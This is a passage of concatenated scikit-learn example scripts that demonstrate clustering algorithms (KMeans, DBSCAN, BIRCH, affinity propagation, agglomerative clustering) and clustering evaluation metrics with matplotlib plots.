                          0, ith_cluster_silhouette_values,
                          facecolor=color, edgecolor=color, alpha=0.7)

        # Label the silhouette plots with their cluster numbers at the middle
        ax1.text(-0.05, y_lower + 0.5 * size_cluster_i, str(i))

        # Compute the new y_lower for next plot
        y_lower = y_upper + 10  # 10 for the 0 samples

    ax1.set_title("The silhouette plot for the various clusters.")
    ax1.set_xlabel("The silhouette coefficient values")
    ax1.set_ylabel("Cluster label")

    # The vertical line for average silhouette score of all the values
    ax1.axvline(x=silhouette_avg, color="red", linestyle="--")

    ax1.set_yticks([])  # Clear the yaxis labels / ticks
    ax1.set_xticks([-0.1, 0, 0.2, 0.4, 0.6, 0.8, 1])

    # 2nd Plot showing the actual clusters formed
    colors = cm.spectral(cluster_labels.astype(float) / n_clusters)
    ax2.scatter(X[:, 0], X[:, 1], marker='.', s=30, lw=0, alpha=0.7,
                c=colors)

    # Labeling the clusters
    centers = clusterer.cluster_centers_
    # Draw white circles at cluster centers
    ax2.scatter(centers[:, 0], centers[:, 1],
                marker='o', c="white", alpha=1, s=200)

    for i, c in enumerate(centers):
        ax2.scatter(c[0], c[1], marker='$%d$' % i, alpha=1, s=50)

    ax2.set_title("The visualization of the clustered data.")
    ax2.set_xlabel("Feature space for the 1st feature")
    ax2.set_ylabel("Feature space for the 2nd feature")

    plt.suptitle(("Silhouette analysis for KMeans clustering on sample data "
                  "with n_clusters = %d" % n_clusters),
                 fontsize=14, fontweight='bold')

    plt.show()






"""
Agglomerative clustering with different metrics
===============================================

Demonstrates the effect of different metrics on the hierarchical clustering.

The example is engineered to show the effect of the choice of different
metrics. It is applied to waveforms, which can be seen as
high-dimensional vector. Indeed, the difference between metrics is
usually more pronounced in high dimension (in particular for euclidean
and cityblock).

We generate data from three groups of waveforms. Two of the waveforms
(waveform 1 and waveform 2) are proportional one to the other. The cosine
distance is invariant to a scaling of the data, as a result, it cannot
distinguish these two waveforms. Thus even with no noise, clustering
using this distance will not separate out waveform 1 and 2.

We add observation noise to these waveforms. We generate very sparse
noise: only 6% of the time points contain noise. As a result, the
l1 norm of this noise (ie "cityblock" distance) is much smaller than it's
l2 norm ("euclidean" distance). This can be seen on the inter-class
distance matrices: the values on the diagonal, that characterize the
spread of the class, are much bigger for the Euclidean distance than for
the cityblock distance.

When we apply clustering to the data, we find that the clustering
reflects what was in the distance matrices. Indeed, for the Euclidean
distance, the classes are ill-separated because of the noise, and thus
the clustering does not separate the waveforms. For the cityblock
distance, the separation is good and the waveform classes are recovered.
Finally, the cosine distance does not separate at all waveform 1 and 2,
thus the clustering puts them in the same cluster.
"""
# Author: Gael Varoquaux
# License: BSD 3-Clause or CC-0

import matplotlib.pyplot as plt
import numpy as np

from sklearn.cluster import AgglomerativeClustering
from sklearn.metrics import pairwise_distances

np.random.seed(0)

# Generate waveform data
n_features = 2000
t = np.pi * np.linspace(0, 1, n_features)


def sqr(x):
    return np.sign(np.cos(x))

X = list()
y = list()
for i, (phi, a) in enumerate([(.5, .15), (.5, .6), (.3, .2)]):
    for _ in range(30):
        phase_noise = .01 * np.random.normal()
        amplitude_noise = .04 * np.random.normal()
        additional_noise = 1 - 2 * np.random.rand(n_features)
        # Make the noise sparse
        additional_noise[np.abs(additional_noise) < .997] = 0

        X.append(12 * ((a + amplitude_noise)
                 * (sqr(6 * (t + phi + phase_noise)))
                 + additional_noise))
        y.append(i)

X = np.array(X)
y = np.array(y)

n_clusters = 3

labels = ('Waveform 1', 'Waveform 2', 'Waveform 3')

# Plot the ground-truth labelling
plt.figure()
plt.axes([0, 0, 1, 1])
for l, c, n in zip(range(n_clusters), 'rgb',
                   labels):
    lines = plt.plot(X[y == l].T, c=c, alpha=.5)
    lines[0].set_label(n)

plt.legend(loc='best')

plt.axis('tight')
plt.axis('off')
plt.suptitle("Ground truth", size=20)


# Plot the distances
for index, metric in enumerate(["cosine", "euclidean", "cityblock"]):
    avg_dist = np.zeros((n_clusters, n_clusters))
    plt.figure(figsize=(5, 4.5))
    for i in range(n_clusters):
        for j in range(n_clusters):
            avg_dist[i, j] = pairwise_distances(X[y == i], X[y == j],
                                                metric=metric).mean()
    avg_dist /= avg_dist.max()
    for i in range(n_clusters):
        for j in range(n_clusters):
            plt.text(i, j, '%5.3f' % avg_dist[i, j],
                     verticalalignment='center',
                     horizontalalignment='center')

    plt.imshow(avg_dist, interpolation='nearest', cmap=plt.cm.gnuplot2,
               vmin=0)
    plt.xticks(range(n_clusters), labels, rotation=45)
    plt.yticks(range(n_clusters), labels)
    plt.colorbar()
    plt.suptitle("Interclass %s distances" % metric, size=18)
    plt.tight_layout()


# Plot clustering results
for index, metric in enumerate(["cosine", "euclidean", "cityblock"]):
    model = AgglomerativeClustering(n_clusters=n_clusters,
                                    linkage="average", affinity=metric)
    model.fit(X)
    plt.figure()
    plt.axes([0, 0, 1, 1])
    for l, c in zip(np.arange(model.n_clusters), 'rgbk'):
        plt.plot(X[model.labels_ == l].T, c=c, alpha=.5)
    plt.axis('tight')
    plt.axis('off')
    plt.suptitle("AgglomerativeClustering(affinity=%s)" % metric, size=20)


plt.show()






"""
=================================================
Demo of affinity propagation clustering algorithm
=================================================

Reference:
Brendan J. Frey and Delbert Dueck, "Clustering by Passing Messages
Between Data Points", Science Feb. 2007

"""
print(__doc__)

from sklearn.cluster import AffinityPropagation
from sklearn import metrics
from sklearn.datasets.samples_generator import make_blobs

##############################################################################
# Generate sample data
centers = [[1, 1], [-1, -1], [1, -1]]
X, labels_true = make_blobs(n_samples=300, centers=centers, cluster_std=0.5,
                            random_state=0)

##############################################################################
# Compute Affinity Propagation
af = AffinityPropagation(preference=-50).fit(X)
cluster_centers_indices = af.cluster_centers_indices_
labels = af.labels_

n_clusters_ = len(cluster_centers_indices)

print('Estimated number of clusters: %d' % n_clusters_)
print("Homogeneity: %0.3f" % metrics.homogeneity_score(labels_true, labels))
print("Completeness: %0.3f" % metrics.completeness_score(labels_true, labels))
print("V-measure: %0.3f" % metrics.v_measure_score(labels_true, labels))
print("Adjusted Rand Index: %0.3f"
      % metrics.adjusted_rand_score(labels_true, labels))
print("Adjusted Mutual Information: %0.3f"
      % metrics.adjusted_mutual_info_score(labels_true, labels))
print("Silhouette Coefficient: %0.3f"
      % metrics.silhouette_score(X, labels, metric='sqeuclidean'))

##############################################################################
# Plot result
import matplotlib.pyplot as plt
from itertools import cycle

plt.close('all')
plt.figure(1)
plt.clf()

colors = cycle('bgrcmykbgrcmykbgrcmykbgrcmyk')
for k, col in zip(range(n_clusters_), colors):
    class_members = labels == k
    cluster_center = X[cluster_centers_indices[k]]
    plt.plot(X[class_members, 0], X[class_members, 1], col + '.')
    plt.plot(cluster_center[0], cluster_center[1], 'o', markerfacecolor=col,
             markeredgecolor='k', markersize=14)
    for x in X[class_members]:
        plt.plot([cluster_center[0], x[0]], [cluster_center[1], x[1]], col)

plt.title('Estimated number of clusters: %d' % n_clusters_)
plt.show()






"""
Online learning of a dictionary of parts of faces
==================================================

This example uses a large dataset of faces to learn a set of 20 x 20
images patches that constitute faces.

From the programming standpoint, it is interesting because it shows how
to use the online API of the scikit-learn to process a very large
dataset by chunks. The way we proceed is that we load an image at a time
and extract randomly 50 patches from this image. Once we have accumulated
500 of these patches (using 10 images), we run the `partial_fit` method
of the online KMeans object, MiniBatchKMeans.

The verbose setting on the MiniBatchKMeans enables us to see that some
clusters are reassigned during the successive calls to
partial-fit. This is because the number of patches that they represent
has become too low, and it is better to choose a random new
cluster.
"""
print(__doc__)

import time

import matplotlib.pyplot as plt
import numpy as np


from sklearn import datasets
from sklearn.cluster import MiniBatchKMeans
from sklearn.feature_extraction.image import extract_patches_2d

faces = datasets.fetch_olivetti_faces()

###############################################################################
# Learn the dictionary of images

print('Learning the dictionary... ')
rng = np.random.RandomState(0)
kmeans = MiniBatchKMeans(n_clusters=81, random_state=rng, verbose=True)
patch_size = (20, 20)

buffer = []
index = 1
t0 = time.time()

# The online learning part: cycle over the whole dataset 6 times
index = 0
for _ in range(6):
    for img in faces.images:
        data = extract_patches_2d(img, patch_size, max_patches=50,
                                  random_state=rng)
        data = np.reshape(data, (len(data), -1))
        buffer.append(data)
        index += 1
        if index % 10 == 0:
            data = np.concatenate(buffer, axis=0)
            data -= np.mean(data, axis=0)
            data /= np.std(data, axis=0)
            kmeans.partial_fit(data)
            buffer = []
        if index % 100 == 0:
            print('Partial fit of %4i out of %i'
                  % (index, 6 * len(faces.images)))

dt = time.time() - t0
print('done in %.2fs.' % dt)

###############################################################################
# Plot the results
plt.figure(figsize=(4.2, 4))
for i, patch in enumerate(kmeans.cluster_centers_):
    plt.subplot(9, 9, i + 1)
    plt.imshow(patch.reshape(patch_size), cmap=plt.cm.gray,
               interpolation='nearest')
    plt.xticks(())
    plt.yticks(())


plt.suptitle('Patches of faces\nTrain time %.1fs on %d patches' %
             (dt, 8 * len(faces.images)), fontsize=16)
plt.subplots_adjust(0.08, 0.02, 0.92, 0.85, 0.08, 0.23)

plt.show()






"""
=========================================================================
A demo of structured Ward hierarchical clustering on a raccoon face image
=========================================================================

Compute the segmentation of a 2D image with Ward hierarchical
clustering. The clustering is spatially constrained in order
for each segmented region to be in one piece.
"""

# Author : Vincent Michel, 2010
#          Alexandre Gramfort, 2011
# License: BSD 3 clause

print(__doc__)

import time as time

import numpy as np
import scipy as sp

import matplotlib.pyplot as plt

from sklearn.feature_extraction.image import grid_to_graph
from sklearn.cluster import AgglomerativeClustering
from sklearn.utils.testing import SkipTest
from sklearn.utils.fixes import sp_version

if sp_version < (0, 12):
    raise SkipTest("Skipping because SciPy version earlier than 0.12.0 and "
                   "thus does not include the scipy.misc.face() image.")


###############################################################################
# Generate data
try:
    face = sp.face(gray=True)
except AttributeError:
    # Newer versions of scipy have face in misc
    from scipy import misc
    face = misc.face(gray=True)

# Resize it to 10% of the original size to speed up the processing
face = sp.misc.imresize(face, 0.10) / 255.

X = np.reshape(face, (-1, 1))

###############################################################################
# Define the structure A of the data. Pixels connected to their neighbors.
connectivity = grid_to_graph(*face.shape)

###############################################################################
# Compute clustering
print("Compute structured hierarchical clustering...")
st = time.time()
n_clusters = 15  # number of regions
ward = AgglomerativeClustering(n_clusters=n_clusters, linkage='ward',
                               connectivity=connectivity)
ward.fit(X)
label = np.reshape(ward.labels_, face.shape)
print("Elapsed time: ", time.time() - st)
print("Number of pixels: ", label.size)
print("Number of clusters: ", np.unique(label).size)

###############################################################################
# Plot the results on an image
plt.figure(figsize=(5, 5))
plt.imshow(face, cmap=plt.cm.gray)
for l in range(n_clusters):
    plt.contour(label == l, contours=1,
                colors=[plt.cm.spectral(l / float(n_clusters)), ])
plt.xticks(())
plt.yticks(())
plt.show()






"""
=============================================================================
Various Agglomerative Clustering on a 2D embedding of digits
=============================================================================

An illustration of various linkage option for agglomerative clustering on
a 2D embedding of the digits dataset.

The goal of this example is to show intuitively how the metrics behave, and
not to find good clusters for the digits. This is why the example works on a
2D embedding.

What this example shows us is the behavior "rich getting richer" of
agglomerative clustering that tends to create uneven cluster sizes.
This behavior is especially pronounced for the average linkage strategy,
that ends up with a couple of singleton clusters.
"""

# Authors: Gael Varoquaux
# License: BSD 3 clause (C) INRIA 2014

print(__doc__)
from time import time

import numpy as np
from scipy import ndimage
from matplotlib import pyplot as plt

from sklearn import manifold, datasets

digits = datasets.load_digits(n_class=10)
X = digits.data
y = digits.target
n_samples, n_features = X.shape

np.random.seed(0)

def nudge_images(X, y):
    # Having a larger dataset shows more clearly the behavior of the
    # methods, but we multiply the size of the dataset only by 2, as the
    # cost of the hierarchical clustering methods are strongly
    # super-linear in n_samples
    shift = lambda x: ndimage.shift(x.reshape((8, 8)),
                                  .3 * np.random.normal(size=2),
                                  mode='constant',
                                  ).ravel()
    X = np.concatenate([X, np.apply_along_axis(shift, 1, X)])
    Y = np.concatenate([y, y], axis=0)
    return X, Y


X, y = nudge_images(X, y)


#----------------------------------------------------------------------
# Visualize the clustering
def plot_clustering(X_red, X, labels, title=None):
    x_min, x_max = np.min(X_red, axis=0), np.max(X_red, axis=0)
    X_red = (X_red - x_min) / (x_max - x_min)

    plt.figure(figsize=(6, 4))
    for i in range(X_red.shape[0]):
        plt.text(X_red[i, 0], X_red[i, 1], str(y[i]),
                 color=plt.cm.spectral(labels[i] / 10.),
                 fontdict={'weight': 'bold', 'size': 9})

    plt.xticks([])
    plt.yticks([])
    if title is not None:
        plt.title(title, size=17)
    plt.axis('off')
    plt.tight_layout()

#----------------------------------------------------------------------
# 2D embedding of the digits dataset
print("Computing embedding")
X_red = manifold.SpectralEmbedding(n_components=2).fit_transform(X)
print("Done.")

from sklearn.cluster import AgglomerativeClustering

for linkage in ('ward', 'average', 'complete'):
    clustering = AgglomerativeClustering(linkage=linkage, n_clusters=10)
    t0 = time()
    clustering.fit(X_red)
    print("%s : %.2fs" % (linkage, time() - t0))

    plot_clustering(X_red, X, clustering.labels_, "%s linkage" % linkage)


plt.show()






# -*- coding: utf-8 -*-
"""
===================================
Demo of DBSCAN clustering algorithm
===================================

Finds core samples of high density and expands clusters from them.

"""
print(__doc__)

import numpy as np

from sklearn.cluster import DBSCAN
from sklearn import metrics
from sklearn.datasets.samples_generator import make_blobs
from sklearn.preprocessing import StandardScaler


##############################################################################
# Generate sample data
centers = [[1, 1], [-1, -1], [1, -1]]
X, labels_true = make_blobs(n_samples=750, centers=centers, cluster_std=0.4,
                            random_state=0)

X = StandardScaler().fit_transform(X)

##############################################################################
# Compute DBSCAN
db = DBSCAN(eps=0.3, min_samples=10).fit(X)
core_samples_mask = np.zeros_like(db.labels_, dtype=bool)
core_samples_mask[db.core_sample_indices_] = True
labels = db.labels_

# Number of clusters in labels, ignoring noise if present.
n_clusters_ = len(set(labels)) - (1 if -1 in labels else 0)

print('Estimated number of clusters: %d' % n_clusters_)
print("Homogeneity: %0.3f" % metrics.homogeneity_score(labels_true, labels))
print("Completeness: %0.3f" % metrics.completeness_score(labels_true, labels))
print("V-measure: %0.3f" % metrics.v_measure_score(labels_true, labels))
print("Adjusted Rand Index: %0.3f"
      % metrics.adjusted_rand_score(labels_true, labels))
print("Adjusted Mutual Information: %0.3f"
      % metrics.adjusted_mutual_info_score(labels_true, labels))
print("Silhouette Coefficient: %0.3f"
      % metrics.silhouette_score(X, labels))

##############################################################################
# Plot result
import matplotlib.pyplot as plt

# Black removed and is used for noise instead.
unique_labels = set(labels)
colors = plt.cm.Spectral(np.linspace(0, 1, len(unique_labels)))
for k, col in zip(unique_labels, colors):
    if k == -1:
        # Black used for noise.
        col = 'k'

    class_member_mask = (labels == k)

    xy = X[class_member_mask & core_samples_mask]
    plt.plot(xy[:, 0], xy[:, 1], 'o', markerfacecolor=col,
             markeredgecolor='k', markersize=14)

    xy = X[class_member_mask & ~core_samples_mask]
    plt.plot(xy[:, 0], xy[:, 1], 'o', markerfacecolor=col,
             markeredgecolor='k', markersize=6)

plt.title('Estimated number of clusters: %d' % n_clusters_)
plt.show()






"""
==========================================================
Adjustment for chance in clustering performance evaluation
==========================================================

The following plots demonstrate the impact of the number of clusters and
number of samples on various clustering performance evaluation metrics.

Non-adjusted measures such as the V-Measure show a dependency between
the number of clusters and the number of samples: the mean V-Measure
of random labeling increases significantly as the number of clusters is
closer to the total number of samples used to compute the measure.

Adjusted for chance measure such as ARI display some random variations
centered around a mean score of 0.0 for any number of samples and
clusters.

Only adjusted measures can hence safely be used as a consensus index
to evaluate the average stability of clustering algorithms for a given
value of k on various overlapping sub-samples of the dataset.

"""
print(__doc__)

# Author: Olivier Grisel <olivier.grisel@ensta.org>
# License: BSD 3 clause

import numpy as np
import matplotlib.pyplot as plt
from time import time
from sklearn import metrics


def uniform_labelings_scores(score_func, n_samples, n_clusters_range,
                             fixed_n_classes=None, n_runs=5, seed=42):
    """Compute score for 2 random uniform cluster labelings.

    Both random labelings have the same number of clusters for each value
    possible value in ``n_clusters_range``.

    When fixed_n_classes is not None the first labeling is considered a ground
    truth class assignment with fixed number of classes.
    """
    random_labels = np.random.RandomState(seed).randint
    scores = np.zeros((len(n_clusters_range), n_runs))

    if fixed_n_classes is not None:
        labels_a = random_labels(low=0, high=fixed_n_classes, size=n_samples)

    for i, k in enumerate(n_clusters_range):
        for j in range(n_runs):
            if fixed_n_classes is None:
                labels_a = random_labels(low=0, high=k, size=n_samples)
            labels_b = random_labels(low=0, high=k, size=n_samples)
            scores[i, j] = score_func(labels_a, labels_b)
    return scores

score_funcs = [
    metrics.adjusted_rand_score,
    metrics.v_measure_score,
    metrics.adjusted_mutual_info_score,
    metrics.mutual_info_score,
]

# 2 independent random clusterings with equal cluster number

n_samples = 100
n_clusters_range = np.linspace(2, n_samples, 10).astype(np.int)

plt.figure(1)

plots = []
names = []
for score_func in score_funcs:
    print("Computing %s for %d values of n_clusters and n_samples=%d"
          % (score_func.__name__, len(n_clusters_range), n_samples))

    t0 = time()
    scores = uniform_labelings_scores(score_func, n_samples, n_clusters_range)
    print("done in %0.3fs" % (time() - t0))
    plots.append(plt.errorbar(
        n_clusters_range, np.median(scores, axis=1), scores.std(axis=1))[0])
    names.append(score_func.__name__)

plt.title("Clustering measures for 2 random uniform labelings\n"
          "with equal number of clusters")
plt.xlabel('Number of clusters (Number of samples is fixed to %d)' % n_samples)
plt.ylabel('Score value')
plt.legend(plots, names)
plt.ylim(ymin=-0.05, ymax=1.05)


# Random labeling with varying n_clusters against ground class labels
# with fixed number of clusters

n_samples = 1000
n_clusters_range = np.linspace(2, 100, 10).astype(np.int)
n_classes = 10

plt.figure(2)

plots = []
names = []
for score_func in score_funcs:
    print("Computing %s for %d values of n_clusters and n_samples=%d"
          % (score_func.__name__, len(n_clusters_range), n_samples))

    t0 = time()
    scores = uniform_labelings_scores(score_func, n_samples, n_clusters_range,
                                      fixed_n_classes=n_classes)
    print("done in %0.3fs" % (time() - t0))
    plots.append(plt.errorbar(
        n_clusters_range, scores.mean(axis=1), scores.std(axis=1))[0])
    names.append(score_func.__name__)

plt.title("Clustering measures for random uniform labeling\n"
          "against reference assignment with %d classes" % n_classes)
plt.xlabel('Number of clusters (Number of samples is fixed to %d)' % n_samples)
plt.ylabel('Score value')
plt.ylim(ymin=-0.05, ymax=1.05)
plt.legend(plots, names)
plt.show()






#!/usr/bin/python
# -*- coding: utf-8 -*-

"""
=========================================================
Vector Quantization Example
=========================================================

Face, a 1024 x 768 size image of a raccoon face,
is used here to illustrate how `k`-means is
used for vector quantization.

"""
print(__doc__)


# Code source: Gaël Varoquaux
# Modified for documentation by Jaques Grobler
# License: BSD 3 clause

import numpy as np
import scipy as sp
import matplotlib.pyplot as plt

from sklearn import cluster
from sklearn.utils.testing import SkipTest
from sklearn.utils.fixes import sp_version

if sp_version < (0, 12):
    raise SkipTest("Skipping because SciPy version earlier than 0.12.0 and "
                   "thus does not include the scipy.misc.face() image.")

try:
    face = sp.face(gray=True)
except AttributeError:
    # Newer versions of scipy have face in misc
    from scipy import misc
    face = misc.face(gray=True)

n_clusters = 5
np.random.seed(0)
    
X = face.reshape((-1, 1))  # We need an (n_sample, n_feature) array
k_means = cluster.KMeans(n_clusters=n_clusters, n_init=4)
k_means.fit(X)
values = k_means.cluster_centers_.squeeze()
labels = k_means.labels_

# create an array from labels and values
face_compressed = np.choose(labels, values)
face_compressed.shape = face.shape

vmin = face.min()
vmax = face.max()

# original face
plt.figure(1, figsize=(3, 2.2))
plt.imshow(face, cmap=plt.cm.gray, vmin=vmin, vmax=256)

# compressed face
plt.figure(2, figsize=(3, 2.2))
plt.imshow(face_compressed, cmap=plt.cm.gray, vmin=vmin, vmax=vmax)

# equal bins face
regular_values = np.linspace(0, 256, n_clusters + 1)
regular_labels = np.searchsorted(regular_values, face) - 1
regular_values = .5 * (regular_values[1:] + regular_values[:-1])  # mean
regular_face = np.choose(regular_labels.ravel(), regular_values, mode="clip")
regular_face.shape = face.shape
plt.figure(3, figsize=(3, 2.2))
plt.imshow(regular_face, cmap=plt.cm.gray, vmin=vmin, vmax=vmax)

# histogram
plt.figure(4, figsize=(3, 2.2))
plt.clf()
plt.axes([.01, .01, .98, .98])
plt.hist(X, bins=256, color='.5', edgecolor='.5')
plt.yticks(())
plt.xticks(regular_values)
values = np.sort(values)
for center_1, center_2 in zip(values[:-1], values[1:]):
    plt.axvline(.5 * (center_1 + center_2), color='b')

for center_1, center_2 in zip(regular_values[:-1], regular_values[1:]):
    plt.axvline(.5 * (center_1 + center_2), color='b', linestyle='--')

plt.show()






"""
=================================
Compare BIRCH and MiniBatchKMeans
=================================

This example compares the timing of Birch (with and without the global
clustering step) and MiniBatchKMeans on a synthetic dataset having
100,000 samples and 2 features generated using make_blobs.

If ``n_clusters`` is set to None, the data is reduced from 100,000
samples to a set of 158 clusters. This can be viewed as a preprocessing
step before the final (global) clustering step that further reduces these
158 clusters to 100 clusters.
"""

# Authors: Manoj Kumar <manojkumarsivaraj334@gmail.com
#          Alexandre Gramfort <alexandre.gramfort@telecom-paristech.fr>
# License: BSD 3 clause

print(__doc__)

from itertools import cycle
from time import time
import numpy as np
import matplotlib.pyplot as plt
import matplotlib.colors as colors

from sklearn.preprocessing import StandardScaler
from sklearn.cluster import Birch, MiniBatchKMeans
from sklearn.datasets.samples_generator import make_blobs


# Generate centers for the blobs so that it forms a 10 X 10 grid.
xx = np.linspace(-22, 22, 10)
yy = np.linspace(-22, 22, 10)
xx, yy = np.meshgrid(xx, yy)
n_centres = np.hstack((np.ravel(xx)[:, np.newaxis],
                       np.ravel(yy)[:, np.newaxis]))

# Generate blobs to do a comparison between MiniBatchKMeans and Birch.
X, y = make_blobs(n_samples=100000, centers=n_centres, random_state=0)
   

# Use all colors that matplotlib provides by default.
colors_ = cycle(colors.cnames.keys())

fig = plt.figure(figsize=(12, 4))
fig.subplots_adjust(left=0.04, right=0.98, bottom=0.1, top=0.9)

# Compute clustering with Birch with and without the final clustering step
# and plot.
birch_models = [Birch(threshold=1.7, n_clusters=None),
                Birch(threshold=1.7, n_clusters=100)]
final_step = ['without global clustering', 'with global clustering']

for ind, (birch_model, info) in enumerate(zip(birch_models, final_step)):
    t = time()
    birch_model.fit(X)
    time_ = time() - t
    print("Birch %s as the final step took %0.2f seconds" % (
          info, (time() - t)))

    # Plot result
    labels = birch_model.labels_
    centroids = birch_model.subcluster_centers_
    n_clusters = np.unique(labels).size
    print("n_clusters : %d" % n_clusters)

    ax = fig.add_subplot(1, 3, ind + 1)
    for this_centroid, k, col in zip(centroids, range(n_clusters), colors_):
        mask = labels == k
        ax.plot(X[mask, 0], X[mask, 1], 'w',
                markerfacecolor=col, marker='.')
        if birch_model.n_clusters is None:
            ax.plot(this_centroid[0], this_centroid[1], '+', markerfacecolor=col,
                    markeredgecolor='k', markersize=5)
    ax.set_ylim([-25, 25])
    ax.set_xlim([-25, 25])
    ax.set_autoscaley_on(False)
    ax.set_title('Birch %s' % info)

# Compute clustering with MiniBatchKMeans.
mbk = MiniBatchKMeans(init='k-means++', n_clusters=100, batch_size=100,
                      n_init=10, max_no_improvement=10, verbose=0,
                      random_state=0)
t0 = time()
mbk.fit(X)
t_mini_batch = time() - t0
print("Time taken to run MiniBatchKMeans %0.2f seconds" % t_mini_batch)
mbk_means_labels_unique = np.unique(mbk.labels_)

ax = fig.add_subplot(1, 3, 3)
for this_centroid, k, col in zip(mbk.cluster_centers_,
                                 range(n_clusters), colors_):
    mask = mbk.labels_ == k
    ax.plot(X[mask, 0], X[mask, 1], 'w', markerfacecolor=col, marker='.')
    ax.plot(this_centroid[0], this_centroid[1], '+', markeredgecolor='k',
            markersize=5)
ax.set_xlim([-25, 25])
ax.set_ylim([-25, 25])
ax.set_title("MiniBatchKMeans")
ax.set_autoscaley_on(False)
plt.show()






"""
============================================================
Empirical evaluation of the impact of k-means initialization
============================================================

Evaluate the ability of k-means initializations strategies to make
the algorithm convergence robust as measured by the relative standard
deviation of the inertia of the clustering (i.e. the sum of distances
to the nearest cluster center).

The first plot shows the best inertia reached for each combination
of the model (``KMeans`` or ``MiniBatchKMeans``) and the init method
(``init="random"`` or ``init="kmeans++"``) for increasing values of the
``n_init`` parameter that controls the number of initializations.

The second plot demonstrate one single run of the ``MiniBatchKMeans``
estimator using a ``init="random"`` and ``n_init=1``. This run leads to
a bad convergence (local optimum) with estimated centers stuck
between ground truth clusters.

The dataset used for evaluation is a 2D grid of isotropic Gaussian
clusters widely spaced.
"""
print(__doc__)

# Author: Olivier Grisel <olivier.grisel@ensta.org>
# License: BSD 3 clause

import numpy as np
import matplotlib.pyplot as plt
import matplotlib.cm as cm

from sklearn.utils import shuffle
from sklearn.utils import check_random_state
from sklearn.cluster import MiniBatchKMeans
from sklearn.cluster import KMeans

random_state = np.random.RandomState(0)

# Number of run (with randomly generated dataset) for each strategy so as
# to be able to compute an estimate of the standard deviation
n_runs = 5

# k-means models can do several random inits so as to be able to trade
# CPU time for convergence robustness
n_init_range = np.array([1, 5, 10, 15, 20])

# Datasets generation parameters
n_samples_per_center = 100
grid_size = 3
scale = 0.1
n_clusters = grid_size ** 2


def make_data(random_state, n_samples_per_center, grid_size, scale):
    random_state = check_random_state(random_state)
    centers = np.array([[i, j]
                        for i in range(grid_size)
                        for j in range(grid_size)])
    n_clusters_true, n_features = centers.shape

    noise = random_state.normal(
        scale=scale, size=(n_samples_per_center, centers.shape[1]))

    X = np.concatenate([c + noise for c in centers])
    y = np.concatenate([[i] * n_samples_per_center
                        for i in range(n_clusters_true)])
    return shuffle(X, y, random_state=random_state)

# Part 1: Quantitative evaluation of various init methods

fig = plt.figure()
plots = []
legends = []

cases = [
    (KMeans, 'k-means++', {}),
    (KMeans, 'random', {}),
    (MiniBatchKMeans, 'k-means++', {'max_no_improvement': 3}),
    (MiniBatchKMeans, 'random', {'max_no_improvement': 3, 'init_size': 500}),
]

for factory, init, params in cases:
    print("Evaluation of %s with %s init" % (factory.__name__, init))
    inertia = np.empty((len(n_init_range), n_runs))

    for run_id in range(n_runs):
        X, y = make_data(run_id, n_samples_per_center, grid_size, scale)
        for i, n_init in enumerate(n_init_range):
            km = factory(n_clusters=n_clusters, init=init, random_state=run_id,
                         n_init=n_init, **params).fit(X)
            inertia[i, run_id] = km.inertia_
    p = plt.errorbar(n_init_range, inertia.mean(axis=1), inertia.std(axis=1))
    plots.append(p[0])
    legends.append("%s with %s init" % (factory.__name__, init))

plt.xlabel('n_init')
plt.ylabel('inertia')
plt.legend(plots, legends)
plt.title("Mean inertia for various k-means init across %d runs" % n_runs)

# Part 2: Qualitative visual inspection of the convergence

X, y = make_data(random_state, n_samples_per_center, grid_size, scale)
km = MiniBatchKMeans(n_clusters=n_clusters, init='random', n_init=1,
                     random_state=random_state).fit(X)

fig = plt.figure()
for k in range(n_clusters):
    my_members = km.labels_ == k
    color = cm.spectral(float(k) / n_clusters, 1)
    plt.plot(X[my_members, 0], X[my_members, 1], 'o', marker='.', c=color)
    cluster_center = km.cluster_centers_[k]
    plt.plot(cluster_center[0], cluster_center[1], 'o',
             markerfacecolor=color, markeredgecolor='k', markersize=6)
    plt.title("Example cluster allocation with a single random init\n"
              "with MiniBatchKMeans")

plt.show()






"""
====================================
Demonstration of k-means assumptions
====================================

This example is meant to illustrate situations where k-means will produce
unintuitive and possibly unexpected clusters. In the first three plots, the
input data does not conform to some implicit assumption that k-means makes and
undesirable clusters are produced as a result. In the last plot, k-means
returns intuitive clusters despite unevenly sized blobs.
"""
print(__doc__)

# Author: Phil Roth <mr.phil.roth@gmail.com>
# License: BSD 3 clause

import numpy as np
import matplotlib.pyplot as plt

from sklearn.cluster import KMeans
from sklearn.datasets import make_blobs

plt.figure(figsize=(12, 12))

n_samples = 1500
random_state = 170
X, y = make_blobs(n_samples=n_samples, random_state=random_state)

# Incorrect number of clusters
y_pred = KMeans(n_clusters=2, random_state=random_state).fit_predict(X)

plt.subplot(221)
plt.scatter(X[:, 0], X[:, 1], c=y_pred)
plt.title("Incorrect Number of Blobs")

# Anisotropicly distributed data
transformation = [[ 0.60834549, -0.63667341], [-0.40887718, 0.85253229]]
X_aniso = np.dot(X, transformation)
y_pred = KMeans(n_clusters=3, random_state=random_state).fit_predict(X_aniso)

plt.subplot(222)
plt.scatter(X_aniso[:, 0], X_aniso[:, 1], c=y_pred)
plt.title("Anisotropicly Distributed Blobs")

# Different variance
X_varied, y_varied = make_blobs(n_samples=n_samples,
                                cluster_std=[1.0, 2.5, 0.5],
                                random_state=random_state)
y_pred = KMeans(n_clusters=3, random_state=random_state).fit_predict(X_varied)

plt.subplot(223)
plt.scatter(X_varied[:, 0], X_varied[:, 1], c=y_pred)
plt.title("Unequal Variance")

# Unevenly sized blobs
X_filtered = np.vstack((X[y == 0][:500], X[y == 1][:100], X[y == 2][:10]))
y_pred = KMeans(n_clusters=3, random_state=random_state).fit_predict(X_filtered)

plt.subplot(224)
plt.scatter(X_filtered[:, 0], X_filtered[:, 1], c=y_pred)
plt.title("Unevenly Sized Blobs")

plt.show()






"""
====================================================================
Comparison of the K-Means and MiniBatchKMeans clustering algorithms
====================================================================

We want to compare the performance of the MiniBatchKMeans and KMeans:
the MiniBatchKMeans is faster, but gives slightly different results (see
:ref:`mini_batch_kmeans`).

We will cluster a set of data, first with KMeans and then with
MiniBatchKMeans, and plot the results.
We will also plot the points that are labelled differently between the two
algorithms.
"""
print(__doc__)

import time

import numpy as np
import matplotlib.pyplot as plt

from sklearn.cluster import MiniBatchKMeans, KMeans
from sklearn.metrics.pairwise import pairwise_distances_argmin
from sklearn.datasets.samples_generator import make_blobs

##############################################################################
# Generate sample data
np.random.seed(0)

batch_size = 45
centers = [[1, 1], [-1, -1], [1, -1]]
n_clusters = len(centers)
X, labels_true = make_blobs(n_samples=3000, centers=centers, cluster_std=0.7)

##############################################################################
# Compute clustering with Means

